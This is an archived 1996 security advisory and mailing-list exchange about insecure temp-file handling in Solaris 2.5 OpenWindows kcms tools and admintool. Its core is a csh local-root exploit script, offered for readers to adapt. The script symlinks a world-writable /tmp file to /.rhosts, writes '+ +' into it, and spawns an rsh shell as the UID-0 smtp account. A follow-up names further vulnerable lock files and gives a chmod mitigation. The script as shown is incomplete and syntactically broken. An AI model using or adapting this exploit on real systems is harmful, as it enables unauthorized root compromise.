Solaris admintool and /usr/openwin/bin/kfcs_* tmpfile vulnerabilities

Description:Standard insecure tempfile creation, symlink to /.rhosts exploit
Author:Jungseok Roh ( posted the kcms_* stuff, Leif Hedstrom ( posted that admintool had the same problem.
Compromise: root (local)
Vulnerable Systems:Solaris 2.5.[01]
Date:26 July 1996


Wow.. I got a chance to use Ultra Sparc who runs Zolaris 2.5 several days ago ~
then ONe of my senior told me that there might be a Funny ,also UNCONCEIVABLE
bugs in Openwindows.. I trusted him...
and I traversed the file system under /usr/openwin ..
there were just four SUIDed files .. ( if Admin installed openwin packages )
xlock , ff.core , kcms* .. Problem made less vague

kcms_calibrate , kcms_configure is the objects we are approaching.
When examining the kcms families.  I found a funny stuff .
kcms_configure makes the temporary(?) files in /tmp whoses permisson bit
is 666 ( Wow The sign of Devil ),, definately root owns it..
IT'S NAME is Kp_kcms_sys.sem !...
Then all u guys know the next procedure is .
hk.. I can't show u whole the procedure right now.
'Cause My Zolaris machine is "Network Unreachible ...".
One Odd thin's are Exploitation Succeeds when it interacts with kcms_calibrate!!

Major procedure is making the temporary files which linked to /.rhosts then
while kcms_configure tries to write /.rhosts make Thunder rolls using
kcms_calibrate and Make its power Powerful.. puha.. it's like seeing
Back To the Future III... then kcms_configure succeed its operation  .
I made a simple script exploiting the machine who has that fatal bug.

hmm..but I can't erase one curiosity ..
Why Sun made this humble mistake ?  ...  plz someboy notify this bug to SUN.
I don't know Her E-mail Address .. :)

(what a simple!!) script follows .
this script shows u just PROCEDURE .. re-make on your demands .

cat > << E_O_F
# JungSeok. Roh  ( )
# Junior in KAIST undergraduate. Under Management Dep .

set disp=""
setenv DISPLAY $disp
/bin/rm -rf /tmp/Kp_kcms_sys.sem
cd /tmp

#Making symbolic link
ln -s /.rhosts Kp_kcms_sys.sem
/usr/openwin/bin/kcms_calibrate &


echo "Click the device you've chosen in kcms_calibrate window"

# Choose Any profiles .. hk..
# My 2.5 machine is unreachible son I can't get exact name of that profiles.
# What a fool I am.. jjap..
/usr/openwin/bin/kcms_configure -o -d $disp /usr/openwin/share/etc/devdata/profiles/Eksony17.mon

if( -f /.rhosts ) then
        echo -n "+ +" >> /.rhosts
# As u know , we can't login as root .. use smtp account. that has UID 0  !!
        /usr/bin/rsh localhost -l smtp csh -i


 There was a Legendary Security Task Force team whose Name is K/U/S ..
 But BLOWED up by KOREAN National Prosecutor.. I hate them !!  .......
 They make me so sad ....  Laughin' in bitter tears ...

 JungSeok Roh / Junior in KAIST / / +82-42-869-5400

------------Another mail:
From: anthony baxter (
Date: Fri, 26 Jul 1996 15:10:25 +1000 

> Fwiw, I believe "admintool" in Solaris-2.5 has exactly the same problem.
> /tmp/.group.lock for instance is created 666, no security checks...

> Just go to the "Groups" menu, and you'll have a nice and clean /.rhosts
> file to play with... :(

Hell, even easier, /tmp/.pwd.lock - you don't even need to select 'groups'. :)

or /tmp/.hosts.lock, and select 'hosts'.

cat 'clue' |

chmod ug-s /usr/bin/admintool   (it's the only way to be sure)

truss/strace/sctrace/equivalent on applications such as these can be
quite enlightening (if nothing else, look for 'open()' calls.


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